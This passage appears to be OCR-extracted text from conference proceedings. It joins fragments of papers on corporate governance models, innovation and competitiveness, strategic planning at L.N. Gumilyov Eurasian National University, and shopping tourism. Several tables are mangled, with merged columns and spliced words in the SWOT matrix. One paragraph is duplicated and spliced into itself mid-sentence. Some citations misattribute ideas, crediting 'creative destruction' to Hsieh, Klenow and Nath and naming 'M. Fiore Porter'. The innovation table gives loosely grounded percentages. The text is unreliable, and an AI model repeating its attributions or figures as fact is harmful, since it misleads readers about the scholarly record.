practices. To accomplish this goal, the following tasks must be accomplished:

- Analyze the theoretical foundations and existing models of corporate governance,
identifying their strengths and weaknesses.

- Study current trends in corporate governance, including the digitalization of processes,
ESG (Environmental, Social, and Governance) standards, and new approaches to assessing the
effectiveness of management bodies.

Literature review

The subject of corporate governance is a crucial area of study in contemporary research,
as the efficiency of corporate management directly impacts the company's sustainability,
competitiveness, and investment appeal. In the global context, diverse models of corporate
governance have emerged, each with its own unique features and impact on organizational
operations.

|.Filatotchev, D. R. Ireland, K. G Stahl., in their investigation, stressed the significance of
openness and responsibility in the framework of corporate administration[2]. They highlighted
that efficient administration is only achievable with a distinct division of roles between
shareholders, the board of directors, and management.

I. Zumente introduced the idea of «inclusive corporate governance», which places a strong
emphasis on social and environmental factors (ESG factors) and a company's responsibility to
society[3]. |. Zumente asserts that the implementation of ESG principles fosters the long-term
growth of a company, mitigates risks, and enhances its market reputation. This approach is
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particularly pertinent in today's context, where corporate social responsibility is becoming a
crucial aspect of strategic business management.

D. S. Dmytriyev, E. R. Freeman, J. Horisch, in his theory of agency relationships, addressed
the issue of conflict of interest between shareholders and management[4]. They contended that
managers, having control over the company's assets, can make decisions that prioritize their own
interests over those of the company.

Furthermore, contemporary research in corporate governance is centered on the digital
transformation of management practices. The integration of digital technologies, such as artificial
intelligence, big data, and blockchain, facilitates the automation of reporting, enhances the
visibility of financial transactions, and strengthens the oversight of management's strategic
choices. Numerous scholars emphasize that the digitalization of corporate governance not only
mitigates the likelihood of corruption but also enhances the effectiveness of business operations,
fosters better communication among stakeholders, and bolsters investor trust in the company.

Consequently, a review of the literature reveals that contemporary approaches to
corporate governance are focused on enhancing transparency, enhancing control, and taking into
account the interests of diverse stakeholder groups.

Research methodology

To accomplish the objectives and address the challenges of this research, the following
approaches will be employed:

The method of comparative analysis — this method will enable us to examine diverse
models of corporate governance, assess their strengths and weaknesses, and identify key trends
and best practices in global corporate governance. The comparative analysis will be conducted
through a study of international standards, such as the OECD Principles of Corporate Governance,
and the experiences of countries with established and emerging economies.

The case study method — this method involves examining specific instances of corporate
governance in companies across various sectors. By analyzing both successful and unsuccessful
cases, we can identify the factors that contribute to enhancing the effectiveness of corporate
governance, as well as common errors and risks that affect the strategic development of
organizations.

The application of the case study method will enable us to develop practical
recommendations for improving the corporate governance framework, taking into account
contemporary challenges.

Results and discussion

In the course of the study, which aimed to develop recommendations for improving the
corporate governance system of the company, various tasks were accomplished and the following
results were achieved.

Different models of corporate governance, including the Anglo-Saxon, Continental, and
mixed systems, were examined using the comparative analysis method. The analysis revealed that
each model has its strengths and weaknesses, but the most effective approaches involve balancing
the interests of shareholders and managers, as well as applying principles of transparency and
accountability.

The study confirmed that implementing international corporate governance standards,
such as the OECD principles, has a positive impact on the investment appeal of companies,
reducing the risk of corporate conflicts, and promoting sustainable development.

The use of the case analysis method allowed us to identify the key factors that determine
the effectiveness of corporate governance in practice. Analysis of successful cases showed that
the introduction of modern technologies, such as digitalization of business processes and use of
ESG principles, significantly improves the quality of enterprise management. However, the study
of unsuccessful cases of corporate governance also revealed the main problems that companies
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face: low transparency, lack of effective control by the board of directors, and insufficient
motivation of management for making long-term strategic decisions. Therefore, the results of our
study confirm the relevance of improving corporate governance taking into account current

challenges.

Based on the method of comparative analysis, various models of corporate governance,
their features, advantages and disadvantages were studied(table 1).

Table 1. Analysis of corporate management models

France, Japan)

on long-term development

‘ Model H Characteristics ” Advantages || Disadvantages
Shareholder-oriented, high |[Flexibility, protection of ||[Conflicts between
Anglo-Saxon level of board minority shareholders' |[management and
(USA, UK) independence, developed |rights, high shareholders, short-
stock market transparency term focus
Continental State and banks participate|/Stability, resilience, Limited role of capital
(Germany, in governance, emphasis ||balance of stakeholders'||markets, potential

interests

government pressure

Mixed (Russia,
China,
Kazakhstan)

Combination of both
models, significant state

involvement

Adaptability to national
conditions, support for

strategic industries

Risks of state
intervention, corruption

risks

The source was compiled based on the data [5-7]

Employing the case study method allowed us to pinpoint the crucial elements that
influence the success of corporate management, as well as the primary challenges encountered
by businesses(table 2).

Table 2. Identification of success factors and areas for improvement

‘ Factors of successful corporate governance H Common Problems ‘

Low level of information

Transparency of financial reporting disclosure

‘Effective oversight by the board of directors HLimited shareholder control ‘

‘Implementation of digital technologies (Al, Big Data) HLack of strategic planning ‘

Consideration of ESG principles and corporate social
responsibility

Neglect of sustainable
development

Weak internal governance

Development of management motivation systems
culture

The source was compiled based on the data [8]

A review of successful initiatives has demonstrated that the implementation of
contemporary technologies, such as the digital transformation of business operations and the
adoption of ESG principles, can greatly enhance the effectiveness of corporate governance.
Conversely, unsuccessful governance practices have highlighted the key issues: a lack of
transparency, insufficient oversight by the board of directors, and a lack of commitment from
management to make strategic decisions with a long-term perspective.
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As a result of the study, several recommendations were made to improve the effectiveness
of corporate governance:

1. Strengthening the role of independent directors and implementing mechanisms to
monitor the activities of senior managers. This would reduce agency conflicts and increase
transparency in decision-making, leading to better governance.

2. Adopting digital technologies such as automation of reporting and the use of big data
and Al for risk management and financial forecasting.

3. Implementing ESG principles that not only benefit the company's reputation but also
contribute to its long-term sustainability.

4. Creating comprehensive performance-based compensation systems for managers that
focus on long-term company goals rather than short-term financial targets.

5. Increasing transparency in reporting, which would enhance investor confidence and
reduce the risk of corporate crises.

These findings underscore the importance of the subject and the necessity to enhance
corporate governance, considering contemporary issues. Implementing advanced management
approaches and leveraging digital technologies can substantially enhance the efficiency of
corporate governance and mitigate the risks of corporate disputes.

Conclusion

The purpose of the study was to develop recommendations for improving the corporate
governance system in enterprises. Based on the analysis, several key conclusions were drawn.

After analyzing various corporate governance models, it was found that the most effective
approach is one that balances the interests of shareholders, management, and the principles of
transparency and accountability. Applying international corporate governance standards such as
the OECD Principles helps increase investment attractiveness, reduces corporate conflicts, and
strengthens business sustainability.

The case analysis identified key success factors and common corporate governance
challenges. Successful companies exhibit a high level of financial transparency, efficient board
oversight, active adoption of digital technologies, and consideration for ESG principles. Thus, the
findings of the study support the notion that enhancing corporate governance necessitates an
integrated approach encompassing institutional reforms, implementation of best practices, and
utilization of advanced technologies. An efficient corporate governance framework contributes to
business stability, enhances competitiveness, and ensures long-term sustainability.
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Introduction

In the rapidly evolving global economic landscape, innovation has emerged as a crucial
driver of enterprise competitiveness. Today's businesses must navigate the swift pace of
technological advancements, digital transformation, and intensifying competition. This
necessitates the continuous development of novel products, services, and management
approaches.

The implementation of innovations not only enhances operational efficiency but also
elevates product quality, streamlines business processes, and bolsters market standing.

The importance of this topic is due to the fact that in the era of globalization and digital
transformation, companies that fail to embrace innovation risk falling behind in the competitive
landscape. The advancement of new technologies, automation, and the use of artificial
intelligence and big data analysis present additional opportunities for organizations to enhance
their efficiency. However, neglecting innovation can result in a decline in competitive advantages,
the obsolescence of business models, and the loss of market positions.

The purpose of this study is to examine the influence of innovation activities on a
company's competitiveness and to identify key strategies for effectively implementing innovation.

To achieve this objective, the following tasks have been set:

To explore the theoretical foundations of innovation activities and their significance in the
economic context.

To assess the impact of innovations on the competitiveness of companies across various
industries.

Examine exemplary cases of innovation implementation and pinpoint the critical elements
that contribute to their success.

The objective of this research is to explore the correlation between innovation and a
company's competitiveness, as well as to identify strategies that foster the successful integration
of innovations into business operations.

Literature review

The study of innovative activity as a driver for enhancing the competitiveness of businesses
has captured the interest of numerous scholars and practitioners. The scholarly literature
underscores the pivotal role of innovation in fostering sustainable business expansion, establishing
market advantages, and adapting to a dynamic environment.

J. A. M. Yayha writings underscore that innovation serves as the primary catalyst for
economic growth and competitiveness, and successful enterprises must continually invest in novel
technologies and management approaches[1]. The researcher highlights that innovation
encompasses not only the creation of novel products but also the enhancement of business
models, processes, and strategies.
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In their writings, T. C. Hsieh, J. P. Klenow, |. Nath views innovation as the primary driver
of economic progress, introducing the notion of "creative destruction"[2]. They contends that
innovative companies are effectively displacing obsolete technologies and business models,
thereby enhancing their market position.

M. Fiore Porter delves into the influence of innovation on the competitive edge of
organizations, emphasizing that innovative companies can create distinctive offerings for
consumers, positioning themselves as market leaders[3]. He also highlights that a sustainable
innovation process can only be achieved through a well-executed innovation management
strategy.

In his research, M. Knickel explores innovation through the lens of national innovation
systems, highlighting the significance of collaboration between business, academia, and
government[4]. He underscores that the success of companies is not solely determined by internal
factors, but also by the broader innovation ecosystem of a nation.

A. N. Perifanis and  Kitsios investigate the influence of digital technologies on the
innovative capacity of businesses, emphasizing that digitalization, automation, and artificial
intelligence open up new avenues for enhancing operational effectiveness[5]. They highlight that
successfully implementing digital innovations necessitates a holistic approach, encompassing the
transformation of organizational culture, employee training, and the optimization of business
processes.

Therefore, a review of scholarly literature reveals that innovation is a crucial element in
enhancing the competitiveness of businesses. To achieve successful innovation, a strategic
approach, an understanding of industry-specific factors, and the backing of government and
academic institutions are essential.

Research methodology

To analyze the impact of innovation on the competitiveness of a company, two main
methods were used: a comprehensive analysis of the company's innovation potential and a
comparative approach to assessing competitiveness.

Comprehensive analysis of the innovation potential. This method focuses on studying the
internal resources and abilities of a company in terms of innovation. It examines key indicators
such as investment in research and development (R&D), digitalization level, adoption of new
technologies, employee qualifications, and effectiveness of the innovation strategy. Through this
approach, we can assess the current state of a company's innovative progress, identify strengths
and weaknesses, and pinpoint areas for improvement in innovation efforts.

The use of this method helps to identify the factors that influence the success of innovation
and determine which changes are needed to increase the competitiveness of a company.

A comparative method of assessing a company's competitiveness is also used. This method
analyzes the impact of innovation on a company's market position compared to its competitors. It
considers factors such as the level of technological advancement, the range of innovative
products, adaptability to market changes, revenue growth, and market share dynamics.

In the course of the study, a comparative analysis of the innovation activities of several
companies operating in the same industry is conducted. For example, if one company actively
implements digital technologies and automation, while another adheres to traditional business
practices, we can assess how innovation contributes to increased competitiveness.

The use of these methods allows us to comprehensively evaluate the role of innovation in
shaping an enterprise's competitive advantages, identify key mechanisms for its successful
implementation, and offer recommendations for further development of the company's
innovation potential.

Results and discussion
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Based on the analysis of the innovative potential of enterprises and the comparative
method for assessing the competitiveness of companies, the following conclusions were drawn.

Innovation is a key factor in determining the competitiveness of a company. Organizations
that actively invest in research and development demonstrate higher growth rates and better
adaptability to market changes. Companies that invest more than 5% of their revenue in
innovative projects are faster at adopting new technologies and improving business processes,
thereby strengthening their market position. In contrast, companies that do not prioritize
innovation face difficulties updating their products and maintaining their competitiveness.

Digitalization plays a significant role in enhancing the efficiency of businesses.
Organizations that utilize automation, artificial intelligence, and big data analytics have seen
substantial reductions in operational costs, increased productivity, and enhanced product quality.
These companies are able to adapt more quickly to new consumer demands and gain a
competitive edge over traditional businesses that do not employ digital solutions.

In addition, highly skilled personnel and a strong corporate culture of innovation are
essential components of a successful innovation strategy. Businesses that invest in training their
staff and foster innovation initiatives achieve notable results in the creation of new products and
services.

A comparative analysis of companies that implement innovative technologies and those
that adhere to traditional business practices has shown that innovation is a key factor in increasing
competitiveness. Companies that actively innovate tend to have higher profitability, market share,
and customer satisfaction.

For example, innovative companies are able to bring new products to market in 6-12
months, while less innovative companies take 2-3 years. This allows companies that focus on
innovation to occupy leading positions in their respective industries.

The results of a comparative study of companies that adopt innovative approaches and
those that operate within a traditional business framework demonstrate the pivotal role of
innovation in enhancing competitiveness(table 1).

Table 1. The impact of innovation on the competitiveness of businesses

. Companies with High Innovation || Companies with Low Innovation
Indicator
Levels Levels
‘I\/Iarket Share H15—25% (growth over 3 years) HS—lO% (stagnation or decline) ‘
IProfitability [12-18% I5-8% |
Speed of New Product .
Launches High (6-12 months) Low (2-3 years)
|Customer Satisfaction 185-90% l65-75% |
Adopti f Digital
option ot Figita 80-90% 30-40%

Technologies

The source was compiled based on the data [6-8]

The data presented in the table demonstrates that companies that actively engage in
innovation consistently outperform their rivals in key economic metrics. They are better equipped
to respond to market shifts, launch new products more swiftly, enhance customer satisfaction,
and achieve higher profitability.

The findings of this study underscore the importance of innovation as a key driver of a
company's competitiveness. Successfully implementing innovative strategies necessitates
substantial financial resources, proficient management of digital technologies, and the
development of a skilled workforce.
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Conclusion

Innovation is a key factor in enhancing the competitiveness of businesses, ensuring their
sustainable growth and adaptability to evolving market conditions[9]. In today's environment,
companies that actively embrace innovation gain a significant advantage, including the ability to
swiftly develop new products, enhance operational efficiency, and foster stronger connections
with customers.

The findings of this study have demonstrated that companies that invest in research, digital
transformation, and the modernization of their business processes experience higher profitability
and market share. The most crucial success factors include a strategic approach to innovation, the
proactive use of technology, and the development of human capital. Conversely, a lack of
innovation can result in a decline in competitiveness, slower growth, and the loss of market share.

Furthermore, a crucial aspect of innovation is its incorporation into the strategic planning
of a company. Companies that innovate their business models can more swiftly respond to shifting
market demands and adapt to global trends. This is particularly significant in the context of
intensifying competition and the digital transformation of the economy, where success hinges on
an organization's capacity not only to develop novel products and technologies but also to
effectively implement them, manage risks, and create value for customers.

Therefore, innovation is a fundamental element in the successful operation and long-term
growth of enterprises. To maintain a sustainable competitive edge, companies must not only
invest in innovation but also foster an innovation culture that fosters continuous improvement
and the adoption of advanced technologies.
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Abstract

Modern universities operate in an increasingly complex external environment
characterized by rapid digitalization, globalization of the educational space, and increased
competition for resources and the attention of key stakeholders. The relevance of the research is
determined by the need to improve the strategic management system in higher education
institutions, especially in the context of the transition to a corporate management model and the
integration of international standards. L.N. Gumilyov Eurasian National University, as one of the
leading universities in Kazakhstan, implements an institutional development strategy aimed at
improving academic quality, scientific productivity and managerial efficiency.

Keywords: strategic management, strategic planning, operational management, tactical
management, organizational structure

Strategic planning is a key element of effective management of educational organizations,
ensuring long-term development and increasing the competitiveness of universities in a
dynamically changing external environment. There are many definitions of strategic planning in
the scientific literature, each of which focuses on different aspects of this process. Ansoff |. defines
strategic planning as "the process of identifying the capabilities of an organization and
transforming them into strategic decisions aimed at achieving set goals" [1].

Operational management focuses on short-term tasks and daily processes that ensure the
functioning of the university. It is related to the ongoing coordination of the work of the faculties,
scheduling, management of the educational process and solving emerging problems. The main
differences between strategic, tactical and operational management are presented in table 1.

Table 1- Comparative characteristics of strategic, tactical and operational management at
the University

Criteria Strategic management Tactical management Operational

management

Planning Long-term (5-10 years) Medium-term (1-5 years) Short-term (up to

horizon 1 year)

Main Formation of the general Implementation of certain | Daily task

objectives concept of development strategic directions completion

Flexibility High adaptability to Average adaptability Limited flexibility

changes

University Developing a mission and Introduction of new Organizing class

examples strategy for digitalization educational programs schedules

Note — Compiled by the author based on the source [2]
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Thus, strategic, tactical and operational management are complementary elements of
effective university management. The differentiation of their functions and competent
coordination allow the educational institution to develop successfully, adapt to changes in the
external environment and ensure high quality of the educational process.

Taking into account the specifics of educational organizations, strategic planning in
universities has a number of distinctive features that determine its goals, methods and principles
of implementation. Universities operate in a highly dynamic external environment, including
changes in state educational policy, international quality standards, labor market requirements,
and the development of scientific research.

In addition, universities have a complex organizational structure that includes teachers,
students, administrative staff, research centers, and external partners. This requires taking into
account a variety Thus, strategic, tactical and operational management are complementary
elements of effective university management. The differentiation of their functions and competent
coordination allow the educational institution to develop successfully, adapt to changes in the
external environment and ensure high quality of the educational process.

Taking into account the specifics of educational organizations, strategic planning in
universities has a number of distinctive features that determine its goals, methods and principles
of implementation. Universities operate in a highly dynamic external environment, including
changes in state educational policy, international quality standards, labor market requirements,
and the development of scientific research.

In addition, universities have a complex organizational structure that includes teachers,
students, administrative staff, research centers, and external partners. This requires taking into
account a variety of interests and forming strategies aimed not only at developing the educational
process, but also at strengthening scientific activities, expanding international cooperation and
increasing the competitiveness of the university. of interests and forming strategies aimed not only
at developing the educational process, but also at strengthening scientific activities, expanding
international cooperation and increasing the competitiveness of the university.

Corporate governance at the L.N. Gumilyov Eurasian National University is a systemically
organized and multilevel model based on the principles of transparency, accountability, sustainable
development and efficiency. This model reflects modern management approaches in higher
education institutions focused on strategic development, institutional autonomy and integration
into the global educational space.

According to the ENU Corporate Governance Code, the university's management system is
based on a number of fundamental principles: separation of powers, protection of shareholder
rights, effective operation of the Board of Directors and the executive body, sustainable
development, risk management and internal control, resolution of corporate conflicts and
transparency of information exchange [3].

The L.N. Gumilyov ENU operates as a non-profit joint-stock company, whose shares are
owned by the state represented by the Ministry of Science and Higher Education of the Republic
of Kazakhstan. The Ministry acts as the Sole Shareholder, exercising strategic management through
corporate control mechanisms, without interfering in the operational activities of the university.

The University's corporate governance system includes the following key elements:

- The sole shareholder is the supreme body that forms strategic guidelines and approves
key documents.

- The Board of Directors is a strategic management body that monitors the activities of the
Management Board and forms a policy in the field of risks, sustainable development and
performance assessment.

- The Board, headed by the Rector, is the executive body responsible for the
implementation of strategic decisions and operational management.
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- The Committee on Strategic Planning and Sustainable Development is an advisory body
to the Board of Directors that performs a preliminary review of strategic documents.

- The Academic Council is a collegial academic management body.

In 2024, 20 Board meetings and 31 committee meetings were held. The number of
decisions taken increased from 149 to 258, which indicates an increase in the activity and role of
strategic bodies in management. Following the consideration of 91 issues, 206 recommendations
were made. Such data demonstrate a high level of activity and involvement of the Board of
Directors in the strategic processes of the university. Figure 6 shows the comparative dynamics of
meetings over the past two years.

Dynamics of meetings of the Board of Directors for 2023-2024

25
20
)
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H Face-to-face meetings Correspondence sessions

Figure 6 — Dynamics of Board meetings for 2023-2024

The management of ENU includes seven members headed by the rector. It consists of vice-
rectors responsible for key areas: academic affairs, strategic development, science and
commercialization, digitalization, finance and investment, socio-cultural development. This
structure ensures full coverage of the priority areas of strategic development and allows for
prompt decision-making within the competence of the executive body. Table 2 shows the current
composition of the Management Board, indicating the positions and areas of functional
responsibility.

Table 2 — Composition of the Board of the "L.N.Gumilyov Eurasian National University"

No Position

1 Chairman of the Board — Rector

2 Member of the Board — Vice Rector for Academic Affairs

3 Member of the Management Board — Vice Rector for Strategic Development

4 Member of the Management Board — Vice Rector for Science, Commercialization and
Internationalization

5 Member of the Board — Vice Rector for Social and Cultural Development

6 Member of the Management Board — Vice Rector for Finance and Investments

7 Board Member — Vice Rector for Digitalization — Digital Officer

Note — Compiled by the author based on the source [4]
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The activities of the Management Board are accountable to the Board of Directors and are
based on the principles of collegiality, professionalism and focus on achieving established key
performance indicators (KPIs). KPIs are approved by the Sole Shareholder and cover both
educational and scientific, innovative and managerial outcomes.

The organizational structure of the university is represented by a wide network of
departments and departments responsible for the implementation of strategic functions.
According to the organizational structure presented in the accounting and regulatory documents,
the university has many departments, including the Department of Strategic Development, the
Department of Digital Development, the Department of International Cooperation, the anti-
corruption compliance service, etc.

Strategic management at the L.N. Gumilyov Eurasian National University is implemented
through an integrated planning, monitoring and evaluation system based on institutional
documents — the Development Strategy for 2021-2026 and the Development Program for 2022-
2026. These documents were coordinated with the Ministry of Science and Higher Education and
approved at the level of the Government of the Republic of Kazakhstan, which underlines their
official status and importance for the national educational policy.

Within the framework of the Development Program for 2022-2026, 9 key indicators have
been fixed, reflecting the degree of implementation of the strategy [5]. Among them, the most
significant for evaluating strategic management are the following:

1. The share of educational programs that have passed international accreditation and
certification is 98%.

2. The university's position in the international ranking of QS WUR — 200.

3. The degree of satisfaction of employers with the quality of training — 90%.

4. The share of teaching staff (hereinafter referred to as teaching staff) engaged in research
activities is 60%.

Thus, strategic management at ENU is based on the integration of two key documents —
the Development Strategy for 2021-2026 and the Development Program for 2022-2026. These
documents reflect a holistic and systematic approach to the development of the university as a
research, competitive and socially oriented institution of higher education.

The analysis of the five strategic directions showed that the strategic model covers all key
areas from science and education to digitalization, internationalization and sustainable
management. A clear statement of goals and objectives, a detailed system of key performance
indicators (KPls), as well as a regular monitoring mechanism through the Strategic Planning
Committee ensure a high level of manageability and adaptability of the strategy.

According to the internal strategic analysis presented in the ENU Development Strategy,
the current university development model was analyzed using the SWOT method, which allows to
identify the strengths and weaknesses of the organization, as well as external opportunities and
threats. Table 3 shows a SWOT matrix reflecting the strategic position of ENU at the current stage
of development.
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Table 3- SWOT analysis of the strategic position of the L.N. Gumilyov ENU

Strengths Weaknesses
1. Recognition of  the university | 1. The dominance of public financing; 2.
internationally and leadership at the national | Insufficient number of educational programs in
level; English; 3.
2. Extensive international relations with | Insufficient effectiveness of R&D, low efficiency
scientific organizations and universities; of mechanisms for commercialization of

3. Developed scientific schools of the world | research results;
and national level in certain areas;

Opportunities Threats
1. Using academic freedom, managerial and | 1. Dependence on global trends, changing
financial independence for global | educal. Dependence on global trends, changing
advancement; 2. | educational market conditions; 2.

Implementation of a new Concept for the | Increasing competition in the global and
development of  world-class  training | national educational services market;tional
programs; 3. | market conditions;

Globalization of all fields of activity due to
informatization and digitalization;

The use of SWOT analysis methods allowed us to identify both the internal strengths of the
strategy and potential risk areas that require further improvement. In turn, a comparison with
international practices has shown that the Company's strategic model largely complies with
modern international trends and standards, although a number of challenges remain related to
infrastructural, linguistic and financial constraints.

In general, the strategy being implemented demonstrates sustained effectiveness, a high
degree of institutional maturity and potential for further development, which is confirmed by the
positive dynamics of key indicators and the international recognition of the university.

Modern conditions of functioning of higher education institutions require a revision of
traditional models of strategic planning. The rapidly changing external environment, digital
transformation, internationalization of education, as well as increasing competition and demands
from stakeholders make it necessary to modernize management approaches. In this regard, the
formation of a more flexible, digitally oriented, open and adaptive strategic planning system is of
particular importance, capable not only of effectively responding to challenges, but also of forming
sustainable competitive advantages of the university.

The modern challenges facing the higher education system require a revision of the
traditional mechanisms of strategic management of universities. The rapidly changing external
environment, digital transformation, the growing importance of sustainable development, as well
as increased global competition necessitate the development of new, more flexible and sustainable
strategic planning models. In this context, the Eurasian National University named after L.N.
Gumilyova, as a corporate-run educational institution, needs an adapted model that meets both
internal needs and the requirements of the external environment.

As the analysis in the previous sections showed, the existing ENU strategic management
system has a high degree of formalization and regulatory elaboration, but faces a number of
barriers: limited digital integration, fragmented interaction between management levels.

In addition, the need to meet global trends in education and management (such as ESG,
agile approaches, digital forecasting, and stakeholder engagement) requires a shift from static
planning to a dynamic, adaptive, and digitally supported model.

132



«Foundations and Trends in Research» (April 3-4, 2025). Copenhagen, Denmark I

The proposed strategic planning model is based on a number of principles reflecting the
modern vision of university management as a vibrant, flexible and intelligently managed
organization.:

1. Flexibility and adaptability — the ability to quickly review strategic goals and priorities in
response to external challenges.

2. Integration of digital tools — the use of platforms for visualization of goals, forecasting
and analytics.

3. Transparency and accountability — the fixation of processes, indicators and decisions in
public documents and the digital environment.

4. Stakeholder participation — the inclusion of representatives of the academic community,
students, partners and employers in the planning and monitoring process.

5. Focus on sustainable development — taking into account ESG factors in goal setting,
resource provision and efficiency assessment.

Strategic planning in the corporate governance system of the university is a key tool for
sustainable development, strengthening competitiveness and improving the efficiency of the
educational organization. In the context of a rapidly changing external environment, digitalization,
and growing academic and scientific competition, strategic management is becoming increasingly
important as a systemic process that ensures consistency of goals, resources, and actions at all
levels of management.

The essence of strategic planning in higher education was revealed, its conceptual
foundations, basic methodological approaches were considered, and the best international
practices were analyzed, demonstrating the variety of models and mechanisms used in university
management. At the same time, a comprehensive study of the current strategic management
system at the L.N. Gumilyov Eurasian National University was conducted, which made it possible
to identify both its strengths and problem areas requiring transformation.

Based on the theoretical analysis, the role of strategic planning was determined as a long-
term management function focused on mission formation, target priorities and resource allocation
in conditions of instability and uncertainty. The key approaches were systematized — program-
oriented, balanced, flexible, as well as elements of strategic management based on results, which
made it possible to form a methodological basis for further research.
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Abstract

Shopping tourism has evolved into a key segment of the global travel industry, offering
destinations new avenues for economic growth, urban development, and international visibility.
This essay explores the global potential of shopping tourism by examining its definition, economic
impact, and the characteristics of leading shopping destinations such as Dubai, Paris, New York,
Tokyo, Singapore, and Istanbul. It highlights the integration of luxury malls, cultural markets, and
tax-free retail systems into tourism infrastructure. A comparative analysis of regional shopping
cultures—spanning Europe, Asia, the Middle East, and the Americas—reveals how each adapts to
consumer trends and digital transformation. Case studies showcase strategic models that have
successfully positioned cities as global retail hubs. The essay concludes by emphasizing the
importance of innovation, policy support, and cultural authenticity in harnessing shopping tourism
for long-term sustainable development.

Introduction
In recent decades, shopping has evolved from a routine consumer activity into a dynamic
component of international tourism. Once considered a secondary travel motivation, shopping
tourism has emerged as a powerful sector within the global travel economy. With cities like Dubai,
Paris, and Singapore branding themselves as shopping destinations, the integration of retail with
tourism has redefined travel behavior and reshaped urban economies.
Shopping tourism refers to the act of traveling to a destination with the primary or secondary
intention of purchasing goods. According to the United Nations World Tourism Organization
(UNWTO), shopping tourism includes any trip where shopping represents a motivating factor for
travel or a significant part of the travel experience (UNWTO, 2014). While some tourists engage in
incidental shopping, others embark on trips specifically to buy products not available or more
expensive in their home country.
There are several types of shopping tourism, each catering to distinct market segments:
1. Luxury Shopping Tourism — Focuses on high-end brands and exclusive products, often found in
cities like Paris, Milan, and Dubai.
2. Outlet Shopping Tourism — Includes visits to outlet malls where consumers seek branded
products at discounted prices. Examples include Woodbury Common in New York and La Vallée
Village in France.
3. Cultural/Traditional Shopping Tourism — Involves the purchase of locally made crafts, textiles,
and goods reflecting the cultural heritage of a region. Tourists visiting bazaars in Istanbul or souks
in Marrakech fall into this category.
4. Cross-border Shopping — Often driven by price differences and favorable currency exchange
rates, common near borders such as between the U.S. and Mexico or parts of Southeast Asia.
The growth of shopping tourism
The growth of shopping tourism is fueled by several global economic and social trends.
1. Globalization and Brand Expansion. As international travel becomes more accessible, global
luxury brands have expanded their presence across major cities and tourist destinations. The
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recognition of brands such as Louis Vuitton, Gucci, and Apple attracts global tourists who seek
consistency and authenticity in their shopping experiences.

2. Growth of the Middle Class. Emerging markets, particularly in Asia, Latin America, and Eastern
Europe, have experienced significant middle-class expansion. According to a report by Brookings
Institution (2017), more than half of the global population is now considered middle class. This
demographic shift has created millions of new consumers who are both willing and able to travel
abroad for shopping.

3. Digitalization and Social Media Influence. Digital platforms have also transformed shopping
tourism. Tourists today are informed by influencer marketing, Instagrammable locations, and
online reviews, which shape their decisions on where and what to shop. Mobile applications and
digital payment solutions have also made it easier for tourists to navigate foreign retail landscapes.
4. Duty-Free and Tax-Free Shopping Incentives. Many countries encourage shopping tourism
through tax-free schemes for foreign tourists. For example, Japan, South Korea, and members of
the European Union allow VAT refunds, which incentivizes bulk or luxury purchases.

Economic Contributions to Local Economies. The impact of shopping tourism on local economies
is substantial. According to the World Travel & Tourism Council (WTTC), shopping accounts for up
to 30-50% of total tourist expenditures in many destinations (WTTC, 2021). This makes it one of
the largest tourism spending categories, surpassing accommodation and food in some regions.
Shopping tourists contribute directly to retail turnover, especially in fashion, cosmetics, and
electronics. Cities that serve as hubs for fashion or technology benefit from increased consumer
traffic and international visibility. Moreover, shopping tourism stimulates local manufacturing,
particularly when tourists purchase indigenous or handcrafted goods.

In major shopping cities, retail expansion often goes hand in hand with investments in
infrastructure, including transportation, entertainment, and public services. For example,
Singapore’s Orchard Road and Dubai Mall are not only retail spaces but also include restaurants,
attractions, and entertainment hubs—creating full-day experiences that drive spending.
Shopping tourism indirectly supports employment in retail, logistics, services, and hospitality.
From sales staff and transport operators to designers and warehouse personnel, the sector
sustains thousands of jobs, particularly in urban settings.

The success of shopping tourism depends heavily on its integration with hospitality, travel, and
cultural services. A seamless experience—from arrival to shopping to accommodation—is key to
attracting and retaining tourists.

Many tour operators and travel agencies now offer shopping-themed itineraries, including
transportation, interpreters, and accommodation near key retail districts. In destinations like
Bangkok or Seoul, entire neighborhoods cater to this niche, offering convenience and
customization.

Hotels frequently collaborate with malls and shopping centers to offer shopping packages,
discounts, and shuttle services. Luxury hotels in cities like New York and Paris provide personal
shopping assistants and VIP mall access, adding value to the tourist experience.

Special retail events, such as Dubai Shopping Festival, Black Friday in the U.S., and Singles’ Day in
China, attract millions of international visitors annually. These events combine shopping with
entertainment and cultural exhibitions, turning them into large-scale tourism drivers.

Shopping tourism is no longer a peripheral activity but a central component of the modern travel
experience. Its evolution into a distinct and high-yield tourism segment has been fueled by
globalization, rising middle-class incomes, and the digitization of commerce. It contributes
significantly to urban economies, employment, and retail innovation, while enhancing the travel
experience through its connection to hospitality and entertainment. As tourism recovers post-
pandemic, shopping tourism presents a strategic opportunity for destination branding, revenue
generation, and cultural diplomacy in cities and nations across the globe.

135



Proceedings of the 9th International Scientific Conference

As global travel continues to evolve, shopping tourism has become a core component of the
tourism experience. Travelers are no longer content with just sightseeing—they also seek unique
and luxurious shopping opportunities. In response, many cities have positioned themselves as
premier shopping destinations, integrating retail with tourism, culture, and entertainment.
Several cities consistently rank among the world’s most popular shopping tourism hotspots,
attracting millions of international visitors annually. These include Dubai, Paris, New York, Tokyo,
Singapore, and Istanbul, each offering a unique blend of modern retail experiences and cultural
richness.

Dubai, for instance, has rapidly emerged as a luxury shopping hub. The city is home to some of the
largest malls in the world, such as The Dubai Mall and Mall of the Emirates, featuring global luxury
brands, indoor ski resorts, aquariums, and entertainment complexes.

Paris continues to be a timeless destination for fashion enthusiasts. Known as the birthplace of
haute couture, Paris draws shoppers to its Champs-Elysées, Galeries Lafayette, and exclusive
boutiques in the Faubourg Saint-Honoré district.

New York City is an iconic shopping metropolis with a mix of upscale retail (Fifth Avenue),
department stores (Macy’s, Bloomingdale’s), and trendy neighborhoods like SoHo and
Williamsburg. It balances historic retail with cutting-edge fashion and streetwear culture.

In Tokyo, shopping blends tradition and futurism. Districts like Ginza and Omotesando are famous
for luxury shopping, while Shibuya and Harajuku cater to youth and pop culture. The city also has
world-renowned electronics and cosmetics markets.

Singapore has built its tourism brand around retail excellence, with Orchard Road serving as its
retail artery. The city offers both luxury malls and tax-free shopping incentives, appealing to
travelers from across Southeast Asia and beyond.

Istanbul offers a compelling hybrid of East and West. Traditional markets like the Grand Bazaar
and Spice Bazaar coexist with modern shopping centers such as Zorlu Center and Istinye Park,
attracting tourists seeking a mix of history and high fashion.

Shopping tourism thrives where diverse retail formats coexist. Each top destination combines
luxury malls, traditional markets, duty-free shopping, and fashion districts to appeal to a range of
consumer preferences.

Luxury malls in cities like Dubai, Singapore, and Tokyo offer not just shopping but complete leisure
